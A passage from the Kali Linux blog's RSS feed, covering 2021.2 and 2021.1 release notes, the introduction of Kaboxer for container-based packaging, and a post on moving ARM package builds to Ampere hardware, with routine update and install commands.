&lt;li>&lt;a href="http://pkg.kali.org/pkg/kalipi-config">kalipi-config&lt;/a> - &lt;strong>&lt;code>raspi-config&lt;/code> on steroids&lt;/strong> to assist in the initial setup of Kali Linux on a Raspberry Pi&lt;/li>
&lt;li>&lt;a href="http://pkg.kali.org/pkg/kalipi-tft-config">kalipi-tft-config&lt;/a>- assist in the &lt;strong>initial setup of TFT displays&lt;/strong> on a Raspberry Pi&lt;/li>
&lt;/ul>
&lt;p>And other improvements:&lt;/p>
&lt;ul>
&lt;li>Got built-in Bluetooth working on Raspberry Pi 4 &amp;amp; Raspberry Pi 400 &lt;em>(meaning &lt;strong>all Raspberry Pi&amp;rsquo;s built-in bluetooth work&lt;/strong>!)&lt;/em>
&lt;ul>
&lt;li>&lt;em>This is due to &lt;code>bluez&lt;/code>, &lt;code>bluez-firmware&lt;/code>, and &lt;code>pi-bluetooth&lt;/code> packages forked and patched&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Raspberry Pi kernel updated to &lt;strong>5.4.83&lt;/strong>&lt;/li>
&lt;li>&lt;strong>mt76 devices&lt;/strong> now work on Raspberry Pi 2 and 3 if you pass the option &lt;code>disable_usb_sg=1&lt;/code> when loading the &lt;code>mt76_usb&lt;/code> module&lt;/li>
&lt;li>&lt;strong>1500%&lt;/strong> performance improvement&lt;/li>
&lt;li>First boot from &lt;strong>20 minutes to 15 seconds&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Console scrolling&lt;/strong> working&lt;/li>
&lt;/ul>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>Plenty of improvements under the hood, including:&lt;/p>
&lt;ul>
&lt;li>Improved compatibility with &lt;strong>dynamic partitions&lt;/strong>&lt;/li>
&lt;li>Improvements to persistence of &lt;strong>Magisk root&lt;/strong>&lt;/li>
&lt;li>Improvements to &lt;strong>Bluetooth and settings menus&lt;/strong>&lt;/li>
&lt;li>Inclusion of &lt;code>rtl88xxau&lt;/code> &lt;strong>patches for older kernels&lt;/strong> in the kernel builder&lt;/li>
&lt;/ul>
&lt;p>And the highlight:&lt;/p>
&lt;p>&lt;strong>Android 11&lt;/strong> support for:&lt;/p>
&lt;ul>
&lt;li>Nokia 6.1&lt;/li>
&lt;li>OnePlus Nord&lt;/li>
&lt;li>OnePlus One&lt;/li>
&lt;li>Samsung Galaxy S20 FE 5G&lt;/li>
&lt;li>Xiaomi Mi A3&lt;/li>
&lt;li>Xiaomi Poco F1&lt;/li>
&lt;/ul>
&lt;p>The Kali NetHunter repository now contains &lt;strong>&lt;a href="https://nethunter.kali.org/kernels.html">179 kernels&lt;/a>&lt;/strong> for &lt;strong>&lt;a href="https://nethunter.kali.org/device-kernels.html">72 devices&lt;/a>&lt;/strong> and &lt;strong>32 pre-built images&lt;/strong> are available on our &lt;a href="https://www.kali.org/kali-nethunter/">download page&lt;/a>&lt;/p>
&lt;p>Huge thanks to &lt;a href="https://gitlab.com/kimoc0der">@kim0coder&lt;/a>, &lt;a href="https://gitlab.com/yesimxev">@yesimxev&lt;/a>, &lt;a href="https://gitlab.com/Svirusx">@Svirusx&lt;/a>, &lt;a href="https://gitlab.com/Martinvlba">@Martinvlba&lt;/a>, &lt;a href="https://gitlab.com/CaliBerrr">@CaliBerrr&lt;/a>, &lt;a href="https://gitlab.com/maade69">@maade69&lt;/a> and the entire Kali NetHunter community for making this release happen. &lt;strong>You absolutely rock&lt;/strong>!&lt;/p>
&lt;h2 id="more-docker-supportparallels-supportbug-fixes">More Docker support/Parallels support/Bug fixes&lt;/h2>
&lt;p>There are even more improvements to Kali, that are outside of the above text. Below are other note-worthy items:&lt;/p>
&lt;ul>
&lt;li>Our &lt;a href="https://hub.docker.com/r/kalilinux/kali-rolling/tags">&lt;strong>Kali-Docker&lt;/strong> images&lt;/a> are now available for &lt;strong>arm64 and armhf&lt;/strong> as well as &lt;strong>amd64&lt;/strong>&lt;/li>
&lt;li>We have patched &lt;code>pkexec&lt;/code>, so now &lt;strong>Qt applications&lt;/strong> which have been ran as &lt;strong>root&lt;/strong> will &lt;strong>maintain the dark theme and the HiDPI setting&lt;/strong>&lt;/li>
&lt;li>On a fresh Kali install, &lt;code>wireshark&lt;/code> can now be run by &lt;strong>unprivileged users&lt;/strong>&lt;/li>
&lt;li>A couple of &lt;strong>bugs were fixed in &lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/">command-not-found&lt;/a>&lt;/strong>, which is the terminal helper that helps you installing missing programs&lt;/li>
&lt;li>&lt;strong>Accessibility features were not installed by default&lt;/strong> &lt;em>(this was a mistake on our side that is now fixed)&lt;/em>&lt;/li>
&lt;li>Fixed a &lt;strong>terminal font issue with special characters&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Apple M1 users, &lt;a href="https://kb.parallels.com/en/124805">Parallels&lt;/a>&lt;/strong> is no longer in &amp;ldquo;Technical Preview&amp;rdquo; and as part of the release, they&amp;rsquo;ve fixed Kali image detection.&lt;/li>
&lt;li>&lt;code>Win-KeX&lt;/code> v2.10 has been released which now &lt;strong>supports multiscreen&lt;/strong>&lt;/li>
&lt;li>Kali&amp;rsquo;s logo is now included in the &lt;a href="https://www.nerdfonts.com/">nerd-fonts&lt;/a> project, so, with their next release you&amp;rsquo;ll be able to &lt;strong>customize your terminal with the dragon&lt;/strong>. If you want to try it now, we&amp;rsquo;ve created a &lt;a href="fonts/Fira-Code-Regular-Nerd-Font-Complete.ttf">patched Fira-Code font&lt;/a> with these new changes &lt;em>(the code for the logo is &lt;code>\uF32B&lt;/code>)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-2-release/images/nerd-fonts-kali.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-2-release/images/nerd-fonts-kali.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;h2 id="download-kali-linux-20212">Download Kali Linux 2021.2&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">grabbing Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.&lt;/p>
&lt;p>This way you&amp;rsquo;ll have fewer updates to do.&lt;/p>
&lt;p>&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ for x in xfce4 qterminal.org qt5ct Thunar; do mv ~/.config/$x{,-$(date +%Y.%m.%d-%H.%M.%S)}; done
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2021.2. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2021.2&amp;quot;
VERSION_ID=&amp;quot;2021.2&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.28-1kali1 (2021-04-12)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali7-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>Kaboxer - Kali Applications Boxer</title><link>https://www.kali.org/blog/introducing-kaboxer/</link><guid isPermaLink="true">https://www.kali.org/blog/introducing-kaboxer/</guid><pubDate>Tue, 25 May 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/introducing-kaboxer/images/kaboxer-banner-v1.jpg" type="image/jpg"/><description>&lt;p>On and off for the last 18 months we have been working on &lt;strong>Kaboxer&lt;/strong>, and just before Kali 2021.1, it is ready to say &amp;ldquo;Hello World&amp;rdquo; &lt;em>(then it will start shipping you applications)&lt;/em>.&lt;/p>
&lt;h2 id="tldr---what-is-this">TL;DR - What is this?&lt;/h2>
&lt;p>&lt;strong>What is the name about, Kaboxer?&lt;/strong> Kali Applications Boxer&lt;/p>
&lt;p>&lt;strong>What does that mean?&lt;/strong> Apps in containers, for packages (a way forward for applications that are hard to package properly). But instead of being stand alone containers, they are integrated into the standard Kali package management systems and can be installed/removed through standard apt commands.&lt;/p>
&lt;p>&lt;strong>Okay. But what does Kaboxer do?&lt;/strong> Not every tool is easy to package. There are various criteria to meet, at times some crazy dependency trees or peculiar system modifications. You may need to use a legacy library, or you may need to change a configuration of something that would break another application. What do you do? We work with tool authors to try and make it easier, or we spend many late nights trying to get it to fit or we are just unable to package it.&lt;/p>
&lt;p>Enter Kaboxer. Using containers we can put in complex non-standard package into a container and integrate it with the rest of the operating system, and bundle it up into the packaging eco-system. This means you can apt-install a Kaboxer program and use it without needing to take any special steps.&lt;/p>
&lt;p>&lt;strong>How does Kaboxer benefit me?&lt;/strong> Kaboxer has a few use-cases, depending on who is using it:&lt;/p>
&lt;ul>
&lt;li>For people using Kali Linux, it is transparent so you will not notice when you are using it &lt;em>(which is why you may not see it as &amp;ldquo;a big deal&amp;rdquo;)&lt;/em>. You just get more tools!&lt;/li>
&lt;li>For us Kali developers, this is a game changer.&lt;/li>
&lt;li>For other Debian packagers, &lt;a href="https://www.kali.org/docs/development/packaging-apps-with-kaboxer/">this may pique your attention&lt;/a>.&lt;/li>
&lt;li>For tool authors &lt;em>(who want their software in Kali)&lt;/em>, there is hope for you yet ;-)&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>What&amp;rsquo;s the down side to Kaboxer?&lt;/strong> The size of the application will be larger because it will carry the normal overhead of having to use containers. While the installed package will be small, its installation will download the required container which will consume up to several hundreds of megabytes even for a simple application.&lt;/p>
&lt;p>&lt;strong>What is going to happen because of Kaboxer?&lt;/strong> We hope to start to include more tools into Kali Linux that were previously not packable, and have you not realize that you are using them via Kaboxer. Unfortunately, such tools will not make it into our default installation as the size increase for the ISO images would be too significant.&lt;/p>
&lt;hr>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>There are various tools which would be a benefit to Kali users, but suffer from problems that make them hard to ship properly as &lt;code>*.deb&lt;/code> packages. This could be because, the tools:&lt;/p>
&lt;ul>
&lt;li>Are not developed with packaging and system integration in mind. They assume they can install specific versions of libraries, or patch libraries, or download pieces of software at runtime rather than at install time. This is against packaging standards and also is bad software engineering practice.&lt;/li>
&lt;li>May feel they are entitled to do whatever they please with the operating system or other applications. These actions should not be allowed and the software needs to be isolated. We have seen actions such as:
&lt;ul>
&lt;li>Creating users with specific UIDs/GIDs.&lt;/li>
&lt;li>Using paths that go against the Filesystem Hierarchy Standard (FHS).&lt;/li>
&lt;li>Using TCP or UDP ports that are usually affected to other services.&lt;/li>
&lt;li>Reconfiguring existing services.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Interact with external servers (maybe by a insecure method), thus the software itself cannot be fully trusted. As a result, it may be a good idea to isolate such software from valuable or sensitive data that may be present on the system.&lt;/li>
&lt;/ul>
&lt;p>A way to provide the isolation required from above would be to use containerization. Containers allow running an application in an isolated environment, with drastically reduced risks of unplanned interaction with the rest of the system (users, services, other applications, existing files, specific versions of libraries, etc.).&lt;/p>
&lt;hr>
&lt;h2 id="design-choices">Design choices&lt;/h2>
&lt;p>While we are not excluding to support other containerization solutions, we have opted to start with Docker. It is well-known, widely used, and benefits from a large eco-system of images, thus ensuring its long term viability. Docker containers can be configured in many ways to achieve the various integrations that we need with the host system or even between multiple containers.&lt;/p>
&lt;p>The value of Kaboxer is in how it makes it easy to tie together docker containers with the host system, through the usual docker features such as mount points and port redirections, but also through integration with desktop menu entries. All those integrations, as well as the instructions to build or retrieve the docker image, are specified in a single YAML file.&lt;/p>
&lt;p>It is that single YAML file that is shipped in the &lt;code>.deb&lt;/code> files that we provide in Kali and the post installation script of those packages will transparently download the image so that the application is ready to run afterwards.&lt;/p>
&lt;h3 id="build-of-docker-images">Build of Docker images&lt;/h3>
&lt;p>The build of the docker images is also mediated by Kaboxer but there&amp;rsquo;s nothing magic, it boils down to calling &lt;code>docker build&lt;/code> on a specific &lt;code>Dockerfile&lt;/code> with a few variables.&lt;/p>
&lt;p>It is up to the packager to write that Dockerfile but that step can be trivial when the upstream project already has a Dockerfile or when it provides a ready-to-use docker image.&lt;/p>
&lt;h3 id="publication-of-docker-images">Publication of Docker images&lt;/h3>
&lt;p>This step is so boring that we have automated it with GitLab CI. Every time that we make a change to a repository dedicated to a &amp;ldquo;kaboxed&amp;rdquo; application, such as covenant, &lt;a href="https://gitlab.com/kalilinux/packages/covenant-kbx/-/pipelines">GitLab CI&lt;/a> will rebuild the associated docker image and store it in its &lt;a href="https://gitlab.com/kalilinux/packages/covenant-kbx/container_registry">image registry&lt;/a>.&lt;/p>
&lt;h3 id="integration-of-the-images-into-the-system">Integration of the images into the system&lt;/h3>
&lt;p>Once the app is containerized, we still need to make it available to the user in a seamless way, in a manner that ideally wouldn&amp;rsquo;t even be noticeable. The user shouldn&amp;rsquo;t even have to know that the app runs in a container.&lt;/p>
&lt;p>We already explained that users continue to interact with Kali packages to install and remove the containerized applications, even though those packages are mostly empty shells running Kaboxer commands in the various maintainer scripts. They do also provide &lt;code>.desktop&lt;/code> files so that the applications can be started from the usual desktop menu, and command-line helpers so that they can be started from a terminal without having to know about Kaboxer.&lt;/p>
&lt;p>To be able to run docker containers, the users need some elevated permissions: we modified the Kali installer to grant those permissions by default to users created during the initial installation process. For other users, they will have to be added to the Kaboxer group (&lt;code>adduser $USER kaboxer&lt;/code>).&lt;/p>
&lt;p>Users obviously want their application data to be retained so Kaboxer has facilities to configure volumes shared between the host and the container thus providing persistence even if containers are short-lived. And then depending on the kind of application, you likely need more specific integrations:&lt;/p>
&lt;ul>
&lt;li>For GUI applications, we need the host X11 socket to be accessible.&lt;/li>
&lt;li>For web applications, we want to expose the HTTP port and start the web browser on the appropriate URL.&lt;/li>
&lt;/ul>
&lt;p>Those basic needs are covered with the current Kaboxer features but it seems likely that other kind of integrations will be required in the future.&lt;/p>
&lt;hr>
&lt;p>If you still want to learn more about Kaboxer, please see its &lt;a href="https://gitlab.com/kalilinux/tools/kaboxer/">homepage (plus source code)&lt;/a>, and &lt;a href="https://www.kali.org/docs/development/packaging-apps-with-kaboxer/">our documentation (with &amp;ldquo;Hello World&amp;rdquo; example)&lt;/a>.&lt;/p>
&lt;p>For examples of &amp;ldquo;real world&amp;rdquo; application, you can look at our first &amp;ldquo;Kaboxed apps&amp;rdquo;:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/covenant-kbx/">Covenant&lt;/a>, a framework to highlight the attack surface of .NET. Covenant comes as a server that is started in the background, plus a Web app that runs in the browser.&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/firefox-developer-edition-kbx">Firefox Developer Edition&lt;/a>, is a web browser and we picked it as it is a complex large GUI application.&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/zenmap-kbx">Zenmap&lt;/a>, the official NMAP GUI. Zenmap relies on deprecated &lt;a href="https://www.kali.org/blog/python-2-end-of-life/">Python 2&lt;/a> libraries that are not available in Kali Linux.&lt;/li>
&lt;/ul>
&lt;p>Want to get your hands dirty and give it a try?&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt -y install covenant-kbx
...
kali@kali:~$
kali@kali:~$ covenant-kbx
Usage: covenant-kbx start|stop
kali@kali:~$
kali@kali:~$ covenant-kbx start
&amp;gt;&amp;gt;&amp;gt; Initializing user data in ~/.local/covenant/data
&amp;gt;&amp;gt;&amp;gt; Starting covenant
Please wait during the start, it can take a long time...
&amp;gt;&amp;gt;&amp;gt; Opening https://127.0.0.1:7443 with a web browser
covenant/default started
Press ENTER to exit
kali@kali:~$
kali@kali:~$ ss -at | grep 7443
LISTEN 0 4096 0.0.0.0:7443 0.0.0.0:*
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>&lt;em>Do not forget to open up &lt;code>https://localhost:7443&lt;/code> in a web browser!&lt;/em>&lt;/p>
&lt;p>If you would like to start exploring Kaboxer itself and see what is happening under the hood:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ kaboxer
usage: kaboxer [-h] [-v] {run,start,stop,get-meta-file,get-upstream-version,prepare,upgrade,list,ls,build,install,clean,push,save,load,purge} ...
kaboxer: error: the following arguments are required: action
kali@kali:~$
kali@kali:~$ kaboxer ls
App Installed version Available version Packaging revision from YAML Packaging revision from image
-------- ------------------- ------------------- ------------------------------ -------------------------------
covenant 0.6 - 1 1
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>Lastly, you can track what programs are using Kaboxer in Kali by searching packages ending with &lt;code>-kbx&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ apt-cache search --names-only '\-kbx$'
covenant-kbx - .NET command and control framework
firefox-developer-edition-en-us-kbx - Mozilla Firefox web browser - Developer Edition - en-US
zenmap-kbx - The Network Mapper Front End
kali@kali:~$
&lt;/code>&lt;/pre></description></item><item><title>Ampere Hardware &amp; Kali Linux</title><link>https://www.kali.org/blog/ampere/</link><guid isPermaLink="true">https://www.kali.org/blog/ampere/</guid><pubDate>Wed, 05 May 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/ampere/images/ampere.jpg" type="image/jpg"/><description>&lt;p>When &lt;a href="https://amperecomputing.com/">Ampere&lt;/a> partnered with &lt;a href="https://www.debian.org/News/2020/20200616">Debian&lt;/a>, this caught our eye. We were aware that our current ARM cloud provider was soon ending support for arm64 servers &lt;em>(which we use for our build daemons)&lt;/em>.&lt;/p>
&lt;p>At &lt;a href="https://www.kali.org/">Kali Linux&lt;/a>, one of the things which is important to us, is that we prefer not having to cross-compile our ARM binaries that we ship in our Kali packages. There are various reasons as to why, some of them are:&lt;/p>
&lt;ul>
&lt;li>With a huge list of packages, like the one we are maintaining &lt;em>(&lt;a href="https://www.kali.org/docs/policy/penetration-testing-tools-policy/">600+&lt;/a> at the time of writing)&lt;/em>, there will be a certain small percent that are not ready to be cross-compiled.&lt;/li>
&lt;li>We want to be able to run the upstream test suites as part of the build, and in many case the testing software assumes that you can natively run the binaries that you just built.&lt;/li>
&lt;li>We believe in &amp;ldquo;dogfooding&amp;rdquo; - we create an Operating System, that works on ARM. We want to use the OS, and the tools in it. We do this on &lt;strong>ARM systems for our day-to-day work&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>We reached out to Ampere to see if they would be able to help us out. We soon realised they have the same mindset as we do, &lt;strong>ARM is the way forward&lt;/strong>. When developing Kali Linux, we treat &lt;strong>ARM devices as &amp;ldquo;first class citizens&amp;rdquo;&lt;/strong>, just like we do with our &amp;ldquo;desktop&amp;rdquo; images &lt;em>(amd64/i386)&lt;/em>. There are many advantages to ARM, such as using &lt;strong>less power&lt;/strong> &lt;em>(which means they don&amp;rsquo;t need cooling)&lt;/em>, &lt;strong>lighter&lt;/strong> &lt;em>(handy when traveling to be on site or mailing devices to be a drop box)&lt;/em> and &lt;strong>cheaper devices&lt;/strong> &lt;em>(client doesn&amp;rsquo;t have to return the device!)&lt;/em>. These make &lt;strong>really small form factor devices&lt;/strong> - which for doing penetration testing or red team exercises on site, expands the possibilities of where to hide various devices &lt;em>(imagination is the only limitation)&lt;/em>. This is why we try and give the same user experience regardless of the platform you are using Kali on.
&lt;em>This is why we have pre-generated images and build scripts for as many different devices as possible&lt;/em>&lt;/p>
&lt;p>Ampere has various community outreach programs, allowing as many different people as possible to interact with their hardware. The offerings are only expanding, and we now have a new permanent ARM home at &lt;a href="https://osuosl.org/">Oregon State University&amp;rsquo;s Open Source Lab&lt;/a> where we are building all of our ARM packages, with plans to move our ARM OS images to be built here too in the near future.&lt;/p>
&lt;p>It is never a fun task having to re-build systems, but we have noticed a very large advantage of doing so. &lt;strong>There was a huge increase in performance from using Ampere&amp;rsquo;s hardware&lt;/strong>. The change of environment was &lt;strong>noticed straight away&lt;/strong>, without any changes to our configuration. Below is the first three packages we built and the time differences.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Package&lt;/th>
&lt;th>Old (HH:MM:SS)&lt;/th>
&lt;th>New (HH:MM:SS)&lt;/th>
&lt;th>Difference (HH:MM:SS)&lt;/th>
&lt;th>Percent Improvement&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;a href="https://pkg.kali.org/pkg/linux">Linux Kernel&lt;/a>&lt;/td>
&lt;td>08:31:38&lt;/td>
&lt;td>03:09:40&lt;/td>
&lt;td>05:21:53&lt;/td>
&lt;td>269.75%&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://pkg.kali.org/pkg/metasploit-framework">Metasploit-Framework&lt;/a>&lt;/td>
&lt;td>00:18:00&lt;/td>
&lt;td>00:14:30&lt;/td>
&lt;td>00:03:30&lt;/td>
&lt;td>124.14%&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://pkg.kali.org/pkg/debian-installer">debian-installer&lt;/a>&lt;/td>
&lt;td>00:24:16&lt;/td>
&lt;td>00:14:53&lt;/td>
&lt;td>00:09:23&lt;/td>
&lt;td>163.05%&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The results speak for themselves. Every package is now &lt;strong>building drastically quicker&lt;/strong>. We also believe, with tweaking a few configuration we can gain &lt;strong>even more of a performance increase&lt;/strong>. This is only possible by the increased RAM offering with OSUOSL. This will allow for OverlayFS to be used with &lt;code>tmpfs&lt;/code> (RAM file system) which will seamlessly reduce having to access any disk drives.&lt;/p>
&lt;p>We are very grateful for Ampere who are now powering our arm64/armhf/armel package build daemons. We will be moving over our ARM images building machine, as well as exploring the opportunity todo various other general services (e.g. web servers) to them given their performance. &lt;strong>We are delighted with the partnership. Thank you Ampere!&lt;/strong> This sort of partnership is what the open-source community is all about. And we are pleased as can be to have a partner like Ampere to rely on with such an important part of our build process.&lt;/p></description></item><item><title>Kali Linux 2021.1 Release (Command-Not-Found)</title><link>https://www.kali.org/blog/kali-linux-2021-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2021-1-release/</guid><pubDate>Wed, 24 Feb 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2021-1-release/images/banner-2021.1-release.jpg" type="image/jpg"/><description>&lt;p>Today we&amp;rsquo;re pushing out the first Kali Linux &lt;a href="https://www.kali.org/releases/">release&lt;/a> of the year with &lt;strong>Kali Linux 2021.1&lt;/strong>. This edition brings enhancements of existing features, and is ready to be &lt;a href="https://www.kali.org/get-kali/">downloaded&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgraded &lt;em>if you have an existing Kali Linux installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/">2020.4 release from November 2020&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#xfce--kde-updates">Xfce 4.16&lt;/a>&lt;/strong> - Our preferred and current default desktop environment has been updated and tweaked&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#xfce--kde-updates">KDE 5.20&lt;/a>&lt;/strong> - Plasma also received a version bump&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#terminals-tweaks">Terminals&lt;/a>&lt;/strong> - &lt;code>mate-terminal&lt;/code>, &lt;code>terminator&lt;/code> and &lt;code>tilix&lt;/code> all had various work carried out on them&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#finding-commands-that-didnt-want-to-be-found">Command Not Found&lt;/a>&lt;/strong> - A helping hand to say if a program needs to be installed&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#partnerships-with-tools-authors">Partnership with more tool authors&lt;/a>&lt;/strong> - BC Security &amp;amp; Joohoi have been producing great tools and we want to support them&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#new-tools-in-kali">New tools &amp;amp; updates&lt;/a>&lt;/strong> - Multiple new tools have been added to Kali and are ready for you&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#kali-nethunter-updates">Kali NetHunter&lt;/a>&lt;/strong> - New BusyBox &amp;amp; Rucky version, and boot-animation&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#kali-arm-updates">Kali ARM&lt;/a>&lt;/strong> - Preliminary support for Parallels on Apple Silicon (Apple M1) &amp;amp; Raspberry Pi 400 (WiFi Support)&lt;/li>
&lt;/ul>
&lt;p>The Kali project itself also has a couple different changes:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/#kalis-website">New Kali website&lt;/a>&lt;/strong> - You may have noticed a few things looking different&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/newsletter/">Kali newsletter&lt;/a>&lt;/strong> - Rather than you coming to us for updates, we can push them to your inbox&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="xfce--kde-updates">Xfce &amp;amp; KDE Updates&lt;/h2>
&lt;p>How you choose to interact with Kali is completely up to you. You may want to access Kali locally or remotely, either graphically or on the command line. Even when you pick a method, there are still options you can choose from, such as a desktop environment.&lt;/p>
&lt;p>By default, Kali uses &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">Xfce&lt;/a>, but during the setup process, allows for GNOME, KDE, or no GUI to be selected. After the setup is complete, &lt;a href="https://www.kali.org/docs/general-use/switching-desktop-environments/">you can install even more&lt;/a>. We have pre-configurations for Enlightenment, i3, LXDE, and MATE as well.&lt;/p>
&lt;p>So when a desktop environment gets an update, they often enhance day-to-day activities for their users. It&amp;rsquo;s best to hear it straight from the authors, for a tour of what&amp;rsquo;s changed:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.xfce.org/about/tour416">Xfce 4.16&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://kde.org/announcements/plasma/5/5.20.0/">KDE 5.20&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Below is our tweaked GTK3 theme, on Xfce:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-1-release/images/xfce-414-new.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-1-release/images/xfce-414-new.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="terminals-tweaks">Terminals Tweaks&lt;/h2>
&lt;p>When we use Kali, we spend a significant amount of time using the command line. A lot of the time, we do it using a local terminal &lt;em>(rather than in a console or remote SSH)&lt;/em>. With the options of desktop environments, there are also choices when it comes to the terminals &lt;em>(same with what shell to use)&lt;/em>. We have been working away on various terminals (&lt;code>xfce4-terminal&lt;/code>, &lt;code>tmux&lt;/code>, &lt;code>tilix&lt;/code>, &lt;code>konsole&lt;/code>, &lt;code>qterminal&lt;/code>, and &lt;code>mate-terminal&lt;/code>) to &amp;ldquo;Kali-fy&amp;rdquo; them:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-1-release/images/kali-terminals.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-1-release/images/kali-terminals.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="finding-commands-that-didnt-want-to-be-found">Finding Commands That Didn&amp;rsquo;t Want To Be Found&lt;/h2>
